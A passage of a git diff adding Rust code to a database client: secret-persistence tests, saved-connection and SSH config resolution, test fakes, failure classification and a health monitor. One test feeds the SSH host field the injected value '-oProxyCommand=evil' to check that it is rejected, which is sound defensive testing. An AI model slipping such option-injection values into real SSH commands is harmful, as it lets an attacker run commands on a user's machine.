vault: Arc, + writes: Mutex>, + fail: bool, + } + + impl RecordingWrites { + fn new(vault: Arc, fail: bool) -> Self { + Self { + vault, + writes: Mutex::new(Vec::new()), + fail, + } + } + + fn writes(&self) -> Vec<(usize, SavedConnection)> { + self.writes.lock().unwrap().clone() + } + } + + impl ConnectionWrites for RecordingWrites { + fn upsert(&self, connection: SavedConnection) -> BoxFuture<'_, Result<(), StorageError>> { + let calls_before = self.vault.calls().len(); + self.writes.lock().unwrap().push((calls_before, connection)); + let fail = self.fail; + Box::pin(async move { + if fail { + Err(StorageError::Schema("the disk is full".to_owned())) + } else { + Ok(()) + } + }) + } + } + + fn connection(id: Uuid) -> SavedConnection { + SavedConnection { + id, + name: "Prod".into(), + driver_id: "postgres".into(), + host: "db.example.com".into(), + port: 5432, + database: "shop".into(), + username: "app".into(), + tls: TlsConfig::verify_full(), + read_only: false, + auth_mode: AuthMode::Password, + ssh: Some(SavedSshConfig { + host: "bastion.example.com".into(), + port: None, + username: Some("deploy".into()), + jump_hosts: Vec::new(), + auth: SavedSshAuth::PrivateKey { + path: Some("/home/u/.ssh/id_ed25519".into()), + has_passphrase: true, + }, + }), + last_opened_at: None, + color: None, + group: None, + } + } + + fn secret(kind: SecretKind) -> SecretSave { + SecretSave { + kind, + secret: SecretString::from("s3cret"), + label: format!("{kind:?}"), + } + } + + fn save(id: Uuid, is_new: bool) -> PendingSave { + PendingSave { + connection: connection(id), + secrets: vec![secret(SecretKind::DatabasePassword), secret(SecretKind::SshPassphrase)], + forget: Vec::new(), + is_new, + } + } + + #[tokio::test] + async fn a_secret_the_user_stopped_remembering_is_deleted_from_an_existing_entry() { + let vault = Arc::new(FakeSecretVault::new()); + let writes = RecordingWrites::new(vault.clone(), false); + let id = Uuid::new_v4(); + let pending = PendingSave { + secrets: Vec::new(), + forget: vec![SecretKind::DatabasePassword], + ..save(id, false) + }; + + persist_pending_save(&*vault, &writes, pending).await.unwrap(); + + assert_eq!(vault.calls(), vec![Call::DeleteKind(id, SecretKind::DatabasePassword)]); + assert_eq!(writes.writes().len(), 1); + } + + #[tokio::test] + async fn a_new_entry_has_nothing_to_forget() { + let vault = Arc::new(FakeSecretVault::new()); + let writes = RecordingWrites::new(vault.clone(), false); + let id = Uuid::new_v4(); + let pending = PendingSave { + secrets: Vec::new(), + forget: vec![SecretKind::DatabasePassword], + ..save(id, true) + }; + + persist_pending_save(&*vault, &writes, pending).await.unwrap(); + + assert!(vault.calls().is_empty(), "{:?}", vault.calls()); + } + + #[tokio::test] + async fn secrets_written_before_entry() { + let vault = Arc::new(FakeSecretVault::new()); + let writes = RecordingWrites::new(vault.clone(), false); + let id = Uuid::new_v4(); + + let report = persist_pending_save(&*vault, &writes, save(id, true)).await.unwrap(); + + assert_eq!( + vault.calls(), + vec![ + Call::Store(id, SecretKind::DatabasePassword), + Call::Store(id, SecretKind::SshPassphrase) + ] + ); + let writes = writes.writes(); + assert_eq!(writes.len(), 1, "the entry was written more than once"); + assert_eq!(writes[0].0, 2, "the entry was written before its secrets"); + assert!(report.secret_failures.is_empty()); + assert!(report.saved.has_stored_passphrase()); + } + + #[tokio::test] + async fn keyring_failure_still_saves_the_entry_and_reports_it() { + let vault = Arc::new(FakeSecretVault::new()); + vault.fail_store(SecretKind::SshPassphrase, SecretError::Locked); + let writes = RecordingWrites::new(vault.clone(), false); + let id = Uuid::new_v4(); + + let report = persist_pending_save(&*vault, &writes, save(id, true)).await.unwrap(); + + assert_eq!( + report.secret_failures, + vec![(SecretKind::SshPassphrase, SecretError::Locked)] + ); + let writes = writes.writes(); + assert_eq!(writes.len(), 1, "a refused secret stopped the save"); + assert!( + !writes[0].1.has_stored_passphrase(), + "the entry claims a passphrase the keyring refused" + ); + assert!(!report.saved.has_stored_passphrase()); + } + + #[tokio::test] + async fn new_connection_write_failure_deletes_its_secrets() { + let vault = Arc::new(FakeSecretVault::new()); + let writes = RecordingWrites::new(vault.clone(), true); + let id = Uuid::new_v4(); + + let refused = persist_pending_save(&*vault, &writes, save(id, true)).await; + + assert!(refused.is_err()); + assert!(vault.is_empty(), "secrets outlived the connection that never saved"); + assert!(vault.calls().contains(&Call::DeleteConnection(id))); + } + + #[tokio::test] + async fn an_existing_connection_keeps_its_secrets_when_the_write_fails() { + let vault = Arc::new(FakeSecretVault::new()); + let writes = RecordingWrites::new(vault.clone(), true); + let id = Uuid::new_v4(); + + let refused = persist_pending_save(&*vault, &writes, save(id, false)).await; + + assert!(refused.is_err()); + assert!(!vault.is_empty()); + assert!(!vault.calls().contains(&Call::DeleteConnection(id))); + } + + #[tokio::test] + async fn the_store_writes_the_entry_off_the_runtime_workers() { + let root = tempfile::tempdir().unwrap(); + let store = ConnectionStore::new(&StoragePaths::under(root.path(), "tablepro-test", "app.tablepro.Test")); + let writes = StoreConnectionWrites::new(store.clone(), paused_tasks()); + let vault = FakeSecretVault::new(); + let id = Uuid::new_v4(); + + persist_pending_save(&vault, &writes, save(id, true)).await.unwrap(); + + let list = store.load_blocking().unwrap(); + assert_eq!(list.len(), 1); + assert_eq!(list[0].id, id); + } +} diff --git a/linux/crates/session/src/connect/request_target.rs b/linux/crates/session/src/connect/request_target.rs new file mode 100644 index 0000000000..32af4db2f5 --- /dev/null +++ b/linux/crates/session/src/connect/request_target.rs @@ -0,0 +1,38 @@ +use tablepro_core::{Credentials, FileEndpoint, NetworkEndpoint, TlsConfig, TransportClass}; +use tablepro_ssh::SshConfig; + +/// Where a connect request goes and how it logs in. +#[derive(Debug, Clone)] +#[expect( + clippy::large_enum_variant, + reason = "one per connect request; inline fields keep every match on the network target direct" +)] +pub enum RequestTarget { + Network { + endpoint: NetworkEndpoint, + ssh: Option, + credentials: Credentials, + database: Option, + tls: TlsConfig, + }, + File(FileEndpoint), +} + +impl RequestTarget { + /// The same target as a reconnect must reach it. A file that was + /// created on the first connect is opened, not created again. + pub fn for_reconnect(&self) -> Self { + match self { + Self::File(endpoint) => Self::File(endpoint.for_reopen()), + network @ Self::Network { .. } => network.clone(), + } + } + + pub fn transport_class(&self) -> Option { + match self { + Self::Network { ssh: Some(_), .. } => Some(TransportClass::SshForward), + Self::Network { ssh: None, .. } => Some(TransportClass::DirectTcp), + Self::File(_) => None, + } + } +} diff --git a/linux/crates/session/src/connect/resolve_saved.rs b/linux/crates/session/src/connect/resolve_saved.rs new file mode 100644 index 0000000000..1c1a86756c --- /dev/null +++ b/linux/crates/session/src/connect/resolve_saved.rs @@ -0,0 +1,306 @@ +use std::path::PathBuf; + +use secrecy::SecretString; +use tablepro_core::credentials::CredentialInteraction; +use tablepro_core::{ + AuthMode, Credentials, DriverError, DriverRegistry, FileEndpoint, NetworkEndpoint, WorkspaceSettings, +}; +use tablepro_ssh::{SshAuth, SshConfig, SshDestination}; +use tablepro_storage::{CredentialDemand, SavedConnection, SavedSshAuth, SavedSshConfig}; + +use super::{ConnectError, ConnectRequest, ConnectionMetadata, CredentialSource, RefreshedRequest, RequestTarget}; + +/// The request a saved connection makes, with its secrets read through +/// `credentials`. +/// +/// The request is built with empty secrets and refreshed before it is +/// returned, so a saved login without its password can never reach a +/// driver: the credential source either fills it or fails. +pub async fn resolve_saved( + saved: &SavedConnection, + drivers: &DriverRegistry, + credentials: &dyn CredentialSource, + interaction: CredentialInteraction, + demand: CredentialDemand, +) -> Result { + let request = saved_request(saved, drivers)?; + credentials.refresh(request, interaction, demand).await +} + +fn saved_request(saved: &SavedConnection, drivers: &DriverRegistry) -> Result { + let driver = drivers + .get(&saved.driver_id) + .ok_or_else(|| ConnectError::UnknownDriver(saved.driver_id.clone()))?; + let target = if driver.capabilities().is_file_based() { + let endpoint = FileEndpoint::open_existing(PathBuf::from(&saved.database)).map_err(DriverError::from)?; + RequestTarget::File(endpoint) + } else { + let endpoint = NetworkEndpoint::new(&saved.host, saved.port).map_err(DriverError::from)?; + let ssh = saved + .ssh + .as_ref() + .map(ssh_config) + .transpose() + .map_err(|failure| DriverError::from(tablepro_core::TransportError::Ssh(failure)))?; + let credentials = match saved.auth_mode { + AuthMode::Password => Credentials::Password { + username: saved.username.clone(), + password: SecretString::from(String::new()), + }, + AuthMode::Kerberos => Credentials::Integrated, + }; + RequestTarget::Network { + endpoint, + ssh, + credentials, + database: Some(saved.database.clone()).filter(|name| !name.trim().is_empty()), + tls: saved.tls.clone(), + } + }; + Ok(ConnectRequest { + metadata: ConnectionMetadata { + id: saved.id, + name: saved.name.clone(), + driver_id: saved.driver_id.clone(), + }, + driver, + target, + workspace_settings: WorkspaceSettings::workspace(saved.read_only), + }) +} + +/// The OpenSSH configuration a saved SSH section describes, with no +/// secrets yet. +pub fn ssh_config(saved: &SavedSshConfig) -> Result { + let destination = SshDestination::new(&saved.host, saved.port, saved.username.clone())?; + let mut jump_hosts = Vec::new(); + for entry in &saved.jump_hosts { + jump_hosts.extend(SshDestination::parse_jump_list(entry)?); + } + let auth = match &saved.auth { + SavedSshAuth::Agent => SshAuth::Agent, + SavedSshAuth::PrivateKey { path, .. } => SshAuth::PrivateKey { + path: path.clone(), + passphrase: None, + }, + SavedSshAuth::Password => SshAuth::Password { + password: SecretString::from(String::new()), + }, + SavedSshAuth::KeyboardInteractive => SshAuth::KeyboardInteractive, + }; + Ok(SshConfig { + destination, + jump_hosts, + auth, + }) +} + +#[cfg(test)] +mod tests { + use std::sync::Arc; + + use secrecy::ExposeSecret; + use tablepro_core::credentials::{SecretKind, SecretVault}; + use tablepro_core::{ConfigError, SshFailure, TlsConfig, TransportError}; + use tablepro_storage::{KeyringCredentials, KeyringError}; + use tablepro_test_support::{ConnectionScript, FakeDriver, FakeSecretVault}; + use uuid::Uuid; + + use super::*; + use crate::connect::NoStoredCredentials; + + fn drivers() -> DriverRegistry { + let mut drivers = DriverRegistry::new(); + drivers.register(Arc::new(FakeDriver::connecting( + &FakeDriver::NETWORK_CAPABILITIES, + ConnectionScript::default(), + ))); + drivers + } + + fn saved(ssh: Option) -> SavedConnection { + SavedConnection { + id: Uuid::new_v4(), + name: "Prod".to_owned(), + driver_id: "fake".to_owned(), + host: "db.example.com".to_owned(), + port: 5432, + database: "shop".to_owned(), + username: "app".to_owned(), + tls: TlsConfig::verify_full(), + read_only: true, + auth_mode: AuthMode::Password, + ssh, + last_opened_at: None, + color: None, + group: None, + } + } + + fn bastion(auth: SavedSshAuth) -> SavedSshConfig { + SavedSshConfig { + host: "bastion.example.com".to_owned(), + port: Some(2222), + username: Some("deploy".to_owned()), + jump_hosts: vec!["ops@jump1:2200,jump2".to_owned()], + auth, + } + } + + #[tokio::test] + async fn a_saved_connection_resolves_with_its_stored_secrets() { + let saved = saved(Some(bastion(SavedSshAuth::Password))); + let vault = Arc::new(FakeSecretVault::new()); + vault + .store( + saved.id, + SecretKind::DatabasePassword, + &SecretString::from("db"), + "label", + ) + .await + .unwrap(); + vault + .store(saved.id, SecretKind::SshPassword, &SecretString::from("ssh"), "label") + .await + .unwrap(); + let credentials = KeyringCredentials::for_saved(vault, &saved); + + let refreshed = resolve_saved( + &saved, + &drivers(), + &credentials, + CredentialInteraction::Unattended, + CredentialDemand::default(), + ) + .await + .unwrap(); + + let request = refreshed.request; + assert_eq!(request.metadata.id, saved.id); + assert!(request.workspace_settings.read_only); + let RequestTarget::Network { + endpoint, + ssh: Some(ssh), + credentials: Credentials::Password { username, password }, + database, + tls, + } = request.target + else { + panic!("expected a network target over ssh with a password"); + }; + assert_eq!(endpoint.to_string(), "db.example.com:5432"); + assert_eq!(username, "app"); + assert_eq!(password.expose_secret(), "db"); + assert_eq!(database.as_deref(), Some("shop")); + assert_eq!(tls, TlsConfig::verify_full()); + assert_eq!(ssh.destination.to_string(), "deploy@bastion.example.com:2222"); + let jumps: Vec = ssh.jump_hosts.iter().map(ToString::to_string).collect(); + assert_eq!(jumps, ["ops@jump1:2200", "jump2"]); + let SshAuth::Password { password } = ssh.auth else { + panic!("expected ssh password auth"); + }; + assert_eq!(password.expose_secret(), "ssh"); + } + + #[tokio::test] + async fn a_saved_password_that_is_not_stored_never_becomes_an_empty_login() { + let saved = saved(None); + let credentials = KeyringCredentials::for_saved(Arc::new(FakeSecretVault::new()), &saved); + + let refused = resolve_saved( + &saved, + &drivers(), + &credentials, + CredentialInteraction::Unattended, + CredentialDemand::default(), + ) + .await; + + assert_eq!( + refused.unwrap_err(), + ConnectError::Keyring(KeyringError::SecretNotStored { + kind: SecretKind::DatabasePassword + }) + ); + } + + #[tokio::test] + async fn an_unknown_driver_and_a_bad_host_are_reported() { + let mut unknown = saved(None); + unknown.driver_id = "oracle".to_owned(); + let mut blank = saved(None); + blank.host = " ".to_owned(); + let mut bad_ssh = saved(Some(bastion(SavedSshAuth::Agent))); + if let Some(ssh) = bad_ssh.ssh.as_mut() { + ssh.host = "-oProxyCommand=evil".to_owned(); + } + let resolve = |saved: SavedConnection| async move { + resolve_saved( + &saved, + &drivers(), + &NoStoredCredentials, + CredentialInteraction::Unattended, + CredentialDemand::default(), + ) + .await + }; + + assert_eq!( + resolve(unknown).await.unwrap_err(), + ConnectError::UnknownDriver("oracle".to_owned()) + ); + assert_eq!( + resolve(blank).await.unwrap_err(), + ConnectError::Driver(DriverError::Config(ConfigError::EmptyHost)) + ); + assert!(matches!( + resolve(bad_ssh).await.unwrap_err(), + ConnectError::Driver(DriverError::Transport(TransportError::Ssh( + SshFailure::InvalidDestination { .. } + ))) + )); + } + + #[tokio::test] + async fn a_file_driver_opens_the_saved_path() { + let mut drivers = DriverRegistry::new(); + drivers.register(Arc::new(FakeDriver::connecting( + &FakeDriver::FILE_CAPABILITIES, + ConnectionScript::default(), + ))); + let mut file = saved(None); + file.database = "/srv/app.db".to_owned(); + + let refreshed = resolve_saved( + &file, + &drivers, + &NoStoredCredentials, + CredentialInteraction::Unattended, + CredentialDemand::default(), + ) + .await + .unwrap(); + + let RequestTarget::File(endpoint) = refreshed.request.target else { + panic!("a file driver resolved to a network target"); + }; + assert_eq!(endpoint.path(), std::path::Path::new("/srv/app.db")); + } + + #[test] + fn kerberos_logs_in_as_the_desktop_user() { + let mut kerberos = saved(None); + kerberos.auth_mode = AuthMode::Kerberos; + + let request = saved_request(&kerberos, &drivers()).unwrap(); + + assert!(matches!( + request.target, + RequestTarget::Network { + credentials: Credentials::Integrated, + .. + } + )); + } +} diff --git a/linux/crates/session/src/fakes/fake_connector.rs b/linux/crates/session/src/fakes/fake_connector.rs new file mode 100644 index 0000000000..1dd9c0dae2 --- /dev/null +++ b/linux/crates/session/src/fakes/fake_connector.rs @@ -0,0 +1,168 @@ +use std::collections::VecDeque; +use std::path::PathBuf; +use std::sync::{Arc, Mutex, MutexGuard, PoisonError}; +use std::time::Duration; + +use futures::future::BoxFuture; +use tablepro_core::credentials::CredentialInteraction; +use tablepro_core::{ConfigError, FileEndpoint, LivenessPolicy, WorkspaceSettings}; +use tablepro_test_support::{ConnectionScript, FakeConnection, FakeDriver}; +use tokio::time::Instant; +use tokio_util::sync::CancellationToken; +use uuid::Uuid; + +use crate::connect::{ConnectError, ConnectRequest, ConnectionMetadata, Connector, PendingSession, RequestTarget}; +use crate::link::EstablishedConnection; + +/// One scripted `establish` result. +#[derive(Debug, Clone)] +pub enum FakeEstablish { + Connect(ConnectionScript), + Fail(ConnectError), + /// Connects after `after` whatever the cancel token says, the way a + /// driver blocked in a C call does. + Late { + after: Duration, + script: ConnectionScript, + }, + /// Never connects; ends with `Cancelled` when cancelled. + UntilCancelled, +} + +/// What one `establish` call was asked. +#[derive(Debug, Clone)] +pub struct EstablishCall { + pub at: Instant, + pub request: ConnectRequest, + pub attended: bool, +} + +#[derive(Default)] +struct State { + replies: VecDeque, + otherwise: Option, + calls: Vec, + connections: Vec>, +} + +/// A `Connector` that answers from a script and builds sessions over +/// `FakeConnection`s, so tests see what each attempt left behind. +#[derive(Clone, Default)] +pub struct FakeConnector { + state: Arc>, +} + +impl FakeConnector { + pub fn new(replies: impl IntoIterator) -> Self { + let connector = Self::default(); + connector.lock().replies.extend(replies); + connector + } + + /// The reply once the scripted ones run out. + pub fn always(self, reply: FakeEstablish) -> Self { + self.lock().otherwise = Some(reply); + self + } + + pub fn calls(&self) -> Vec { + self.lock().calls.clone() + } + + /// Every connection an attempt built, in order, including ones that + /// finished too late to be adopted. + pub fn connections(&self) -> Vec> { + self.lock().connections.clone() + } + + /// A request for a file the fake driver opens, for tests that need + /// a request and do not care where it goes. + pub fn request() -> Result { + Ok(ConnectRequest { + metadata: ConnectionMetadata { + id: Uuid::new_v4(), + name: "Fake".to_owned(), + driver_id: "fake".to_owned(), + }, + driver: Arc::new(FakeDriver::connecting( + &FakeDriver::FILE_CAPABILITIES, + ConnectionScript::default(), + )), + target: RequestTarget::File(FileEndpoint::open_existing(PathBuf::from("/fake.db"))?), + workspace_settings: WorkspaceSettings::workspace(false), + }) + } + + /// A pending session over a new fake connection, without a connector. + pub fn pending_session(request: ConnectRequest, script: ConnectionScript) -> (PendingSession, Arc) { + let connection = Arc::new(FakeConnection::new(script)); + let pending = PendingSession::new( + request, + EstablishedConnection { + connection: connection.clone(), + ssh_session: None, + }, + Vec::new(), + Vec::new(), + LivenessPolicy::DESKTOP.close_timeout, + ); + (pending, connection) + } + + fn lock(&self) -> MutexGuard<'_, State> { + self.state.lock().unwrap_or_else(PoisonError::into_inner) + } + + fn adopt(&self, request: ConnectRequest, script: ConnectionScript) -> PendingSession { + let (pending, connection) = Self::pending_session(request, script); + self.lock().connections.push(connection); + pending + } +} + +impl Connector for FakeConnector { + fn establish( + &self, + request: ConnectRequest, + interaction: CredentialInteraction, + cancel: CancellationToken, + ) -> BoxFuture<'static, Result> { + let reply = { + let mut state = self.lock(); + state.calls.push(EstablishCall { + at: Instant::now(), + request: request.clone(), + attended: matches!(interaction, CredentialInteraction::Attended(_)), + }); + state.replies.pop_front().or_else(|| state.otherwise.clone()) + }; + let connector = self.clone(); + Box::pin(async move { + match reply { + Some(FakeEstablish::Connect(script)) => Ok(connector.adopt(request, script)), + Some(FakeEstablish::Fail(error)) => Err(error), + Some(FakeEstablish::Late { after, script }) => { + tokio::time::sleep(after).await; + Ok(connector.adopt(request, script)) + } + Some(FakeEstablish::UntilCancelled) => { + cancel.cancelled().await; + Err(ConnectError::Cancelled) + } + None => Err(ConnectError::UnknownDriver( + "FakeConnector has no scripted establish result".to_owned(), + )), + } + }) + } +} + +impl std::fmt::Debug for FakeConnector { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + let state = self.lock(); + f.debug_struct("FakeConnector") + .field("queued", &state.replies.len()) + .field("calls", &state.calls.len()) + .finish_non_exhaustive() + } +} diff --git a/linux/crates/session/src/fakes/fake_credential_source.rs b/linux/crates/session/src/fakes/fake_credential_source.rs new file mode 100644 index 0000000000..5bb556d35b --- /dev/null +++ b/linux/crates/session/src/fakes/fake_credential_source.rs @@ -0,0 +1,85 @@ +use std::collections::VecDeque; +use std::sync::{Arc, Mutex, PoisonError}; + +use futures::future::BoxFuture; +use tablepro_core::credentials::{CredentialInteraction, SecretError, SecretKind, SecretSave}; +use tablepro_storage::CredentialDemand; + +use crate::connect::{ConnectError, ConnectRequest, CredentialSource, RefreshedRequest}; + +#[derive(Default)] +struct State { + failures: VecDeque, + refreshes: Vec, + remembered: Vec, +} + +/// Passes the request through unchanged unless a failure is queued, and +/// records whether each refresh could have prompted. +#[derive(Clone, Default)] +pub struct FakeCredentialSource { + state: Arc>, +} + +impl FakeCredentialSource { + pub fn new() -> Self { + Self::default() + } + + /// Fail the next refresh with `error`. + pub fn fail_next(&self, error: ConnectError) { + self.lock().failures.push_back(error); + } + + /// Whether each refresh so far was attended, in order. + pub fn refreshes(&self) -> Vec { + self.lock().refreshes.clone() + } + + pub fn remembered(&self) -> Vec { + self.lock().remembered.clone() + } + + fn lock(&self) -> std::sync::MutexGuard<'_, State> { + self.state.lock().unwrap_or_else(PoisonError::into_inner) + } +} + +impl CredentialSource for FakeCredentialSource { + fn refresh( + &self, + request: ConnectRequest, + interaction: CredentialInteraction, + _demand: CredentialDemand, + ) -> BoxFuture<'static, Result> { + let failure = { + let mut state = self.lock(); + state + .refreshes + .push(matches!(interaction, CredentialInteraction::Attended(_))); + state.failures.pop_front() + }; + Box::pin(async move { + match failure { + Some(error) => Err(error), + None => Ok(RefreshedRequest { + request, + remember: Vec::new(), + }), + } + }) + } + + fn remember(&self, saves: Vec) -> BoxFuture<'static, Vec<(SecretKind, SecretError)>> { + self.lock().remembered.extend(saves); + Box::pin(async { Vec::new() }) + } +} + +impl std::fmt::Debug for FakeCredentialSource { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.debug_struct("FakeCredentialSource") + .field("refreshes", &self.lock().refreshes.len()) + .finish_non_exhaustive() + } +} diff --git a/linux/crates/session/src/fakes/mod.rs b/linux/crates/session/src/fakes/mod.rs new file mode 100644 index 0000000000..2bf0770d47 --- /dev/null +++ b/linux/crates/session/src/fakes/mod.rs @@ -0,0 +1,9 @@ +//! Scripted connectors and credential sources for tests of code that +//! starts sessions: the app's window and dialog tests use them through +//! the `fakes` feature. + +mod fake_connector; +mod fake_credential_source; + +pub use fake_connector::{EstablishCall, FakeConnector, FakeEstablish}; +pub use fake_credential_source::FakeCredentialSource; diff --git a/linux/crates/session/src/health/failure_cause.rs b/linux/crates/session/src/health/failure_cause.rs new file mode 100644 index 0000000000..eba7ce9cdd --- /dev/null +++ b/linux/crates/session/src/health/failure_cause.rs @@ -0,0 +1,100 @@ +use tablepro_core::{DriverError, ErrorCategory, SshFailure, TransportError}; + +/// Why a connection attempt will not succeed on a retry. +/// +/// Each of these needs the user to change something, so the monitor +/// parks instead of burning a backoff loop against a password that is +/// wrong or a host key that changed. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum FailureCause { + Authentication, + Tls, + Configuration, + HostKeyUnknown, + HostKeyChanged, + HostKeyRevoked, +} + +impl FailureCause { + /// The cause when retrying the same request cannot help, `None` + /// when it can. Host keys are told apart because each needs a + /// different review from the user. + pub fn of(error: &DriverError) -> Option { + if let DriverError::Transport(TransportError::Ssh(failure)) = error { + match failure { + SshFailure::HostKeyUnknown { .. } => return Some(Self::HostKeyUnknown), + SshFailure::HostKeyChanged { .. } => return Some(Self::HostKeyChanged), + SshFailure::HostKeyRevoked { .. } => return Some(Self::HostKeyRevoked), + _ => {} + } + } + match error.category() { + ErrorCategory::Authentication => Some(Self::Authentication), + ErrorCategory::Tls => Some(Self::Tls), + ErrorCategory::Configuration => Some(Self::Configuration), + ErrorCategory::Network + | ErrorCategory::ReadOnly + | ErrorCategory::Server + | ErrorCategory::Interrupted + | ErrorCategory::Timeout + | ErrorCategory::ConnectionLost + | ErrorCategory::WriteOutcome + | ErrorCategory::File + | ErrorCategory::Busy + | ErrorCategory::Internal => None, + } + } +} + +#[cfg(test)] +mod tests { + use tablepro_core::{ConfigError, LossPhase}; + + use super::*; + + fn ssh(failure: SshFailure) -> DriverError { + DriverError::Transport(TransportError::Ssh(failure)) + } + + #[test] + fn host_keys_are_their_own_causes() { + let unknown = ssh(SshFailure::HostKeyUnknown { + host: "bastion".to_owned(), + algorithm: "ED25519".to_owned(), + sha256_fingerprint: "SHA256:abc".to_owned(), + trust_allowed: true, + declined: true, + }); + let revoked = ssh(SshFailure::HostKeyRevoked { + host: "bastion".to_owned(), + detail: "listed".to_owned(), + }); + + assert_eq!(FailureCause::of(&unknown), Some(FailureCause::HostKeyUnknown)); + assert_eq!(FailureCause::of(&revoked), Some(FailureCause::HostKeyRevoked)); + } + + #[test] + fn categories_that_need_the_user_park_and_the_rest_retry() { + assert_eq!( + FailureCause::of(&DriverError::auth(None)), + Some(FailureCause::Authentication) + ); + assert_eq!( + FailureCause::of(&DriverError::Config(ConfigError::DatabaseRequired)), + Some(FailureCause::Configuration) + ); + assert_eq!( + FailureCause::of(&ssh(SshFailure::InteractionCancelled)), + Some(FailureCause::Authentication), + "an unanswered prompt needs someone at the keyboard" + ); + assert_eq!( + FailureCause::of(&DriverError::ConnectionLost { + during: LossPhase::Idle + }), + None + ); + assert_eq!(FailureCause::of(&DriverError::Busy), None); + } +} diff --git a/linux/crates/session/src/health/health_monitor.rs b/linux/crates/session/src/health/health_monitor.rs new file mode 100644 index 0000000000..0f6222c3e7 --- /dev/null +++ b/linux/crates/session/src/health/health_monitor.rs @@ -0,0 +1,512 @@ +use std::sync::{Arc, Mutex, PoisonError}; +use std::time::Duration; + +use tablepro_core::CallOptions; +use tablepro_storage::CredentialDemand; +use tokio::sync::watch; +use tokio::time::Instant; +use tokio_util::sync::CancellationToken; + +use super::{ + FailureCause, HealthPolicy, LinkGeneration, MonitorAction, MonitorMailbox, MonitorSignal, PendingSignals, + ProbeOutcome, ReachabilityTarget, ReconnectPlan, ReconnectResult, SessionHealth, +}; +use crate::connect::{ConnectError, PendingSession}; +use crate::link::{ConnectionLease, ConnectionLink}; +use crate::operation::{DeadlinePolicy, OperationKind}; +use crate::runtime::{Tasks, catch_panic}; +use crate::session::CatalogSnapshot; + +/// Everything the monitor task owns. It holds no `Session`, so dropping +/// the last session handle is what ends it. +pub(crate) struct MonitorContext { + pub link: Arc, + pub plan: ReconnectPlan, + pub deadlines: Arc, + pub tasks: Tasks, + pub health: watch::Sender, + pub mailbox: Arc, + pub cancel: CancellationToken, + pub catalog: watch::Sender, + pub reachability: Arc>, + pub close_timeout: Duration, +} + +enum Wakeup { + Signals(PendingSignals), + Deadline, + LeaseLost(LinkGeneration), +} + +/// Watch one session's connection until the session is cancelled. +/// +/// The policy is created here, inside the runtime, so its clock reading +/// is the runtime's own. +pub(crate) async fn run_monitor(ctx: MonitorContext) { + let mut policy = HealthPolicy::new(ctx.link.generation(), Instant::now()); + // A lost connection stays lost, so its watch is dropped once it has + // fired; otherwise a failed reconnect would wake on it forever. + let mut reported_loss: Option = None; + loop { + let watched = ctx + .link + .lease() + .filter(|lease| lease.generation() == policy.generation() && reported_loss != Some(lease.generation())); + let wakeup = tokio::select! { + biased; + () = ctx.cancel.cancelled() => return, + signals = ctx.mailbox.next() => Wakeup::Signals(signals), + () = sleep_until(policy.next_deadline()) => Wakeup::Deadline, + generation = lease_lost(watched) => Wakeup::LeaseLost(generation), + }; + let now = Instant::now(); + let (mut action, mut user_asked) = match wakeup { + Wakeup::Signals(signals) => (policy.on_signals(&signals, now), signals.retry), + Wakeup::Deadline => (policy.on_deadline(now), false), + Wakeup::LeaseLost(generation) => { + reported_loss = Some(generation); + let mut signals = PendingSignals::default(); + signals.merge(MonitorSignal::ConnectionLost { generation }); + (policy.on_signals(&signals, now), false) + } + }; + loop { + publish(&ctx.health, policy.health()); + action = match action { + MonitorAction::Wait | MonitorAction::Park => break, + MonitorAction::Probe => { + let outcome = probe(&ctx).await; + if let ProbeOutcome::Rejected(cause) = &outcome { + tracing::warn!(?cause, "the server refused a probe on a live connection"); + } + policy.on_probe(&outcome, Instant::now()) + } + MonitorAction::Reconnect => { + let Some(result) = reconnect(&ctx, user_asked).await else { + return; + }; + // Only the attempt the user started may ask them + // anything; the backoff ones after it run unattended. + user_asked = false; + policy.on_reconnect(&result, Instant::now()) + } + }; + } + } +} + +async fn sleep_until(deadline: Option) { + match deadline { + Some(deadline) => tokio::time::sleep_until(deadline).await, + None => std::future::pending().await, + } +} + +/// Resolves when the leased connection reports itself lost, or when the +/// SSH master under it exits. +async fn lease_lost(lease: Option) -> LinkGeneration { + let Some(lease) = lease else { + return std::future::pending().await; + }; + let generation = lease.generation(); + let lost = lease.lost(); + match lease.ssh_closed() { + Some(closed) => tokio::select! { + biased; + () = lost => {}, + () = closed => {}, + }, + None => lost.await, + } + generation +} + +fn publish(sender: &watch::Sender, health: &SessionHealth) { + sender.send_if_modified(|current| { + if current == health { + return false; + } + *current = health.clone(); + true + }); +} + +async fn probe(ctx: &MonitorContext) -> ProbeOutcome { + let Some(lease) = ctx.link.lease() else { + return ProbeOutcome::Lost; + }; + let deadline = ctx + .deadlines + .deadline(OperationKind::Probe) + .map(|limit| Instant::now() + limit); + let options = CallOptions::new(deadline, ctx.cancel.child_token()); + match catch_panic(lease.probe(options)).await { + Ok(result) => ProbeOutcome::classify(result), + Err(panic) => { + tracing::error!(%panic, "the health probe panicked"); + ProbeOutcome::Unresponsive + } + } +} + +/// One reconnect attempt, or `None` when the session was cancelled +/// while it ran. +/// +/// The attempt runs as its own task so a cancel can stop waiting on it +/// without dropping it: a driver blocked in a C call finishes anyway, +/// and whatever it built is closed rather than adopted. +async fn reconnect(ctx: &MonitorContext, user_asked: bool) -> Option { + let plan = ctx.plan.clone(); + let interaction = plan.interaction(user_asked); + let attempt_cancel = ctx.cancel.child_token(); + let attempt = async move { + let refreshed = plan + .credentials + .refresh(plan.request.clone(), interaction.clone(), CredentialDemand::default()) + .await?; + let pending = plan + .connector + .establish(refreshed.request, interaction, attempt_cancel) + .await?; + Ok::<_, ConnectError>((pending, refreshed.remember)) + }; + let mut running = ctx.tasks.spawn_task(attempt); + let joined = tokio::select! { + biased; + () = ctx.cancel.cancelled() => { + ctx.tasks.spawn_task(async move { + if let Ok(Ok((pending, _))) = running.await { + discard_late(pending).await; + } + }); + return None; + } + joined = &mut running => joined, + }; + + let (pending, remember) = match joined { + Ok(Ok(established)) => established, + Ok(Err(error)) => { + tracing::info!(%error, "a reconnect attempt failed"); + return Some(classify_failure(&error)); + } + Err(failure) => { + tracing::error!(%failure, "a reconnect attempt panicked"); + return Some(ReconnectResult::Failed); + } + }; + if ctx.cancel.is_cancelled() { + ctx.tasks.spawn_task(discard_late(pending)); + return None; + } + let parts = pending.into_parts(); + let reachability = ReachabilityTarget::for_established(&parts.request, &parts.established); + let (generation, retired) = ctx.link.replace(parts.established); + if let Some(retired) = 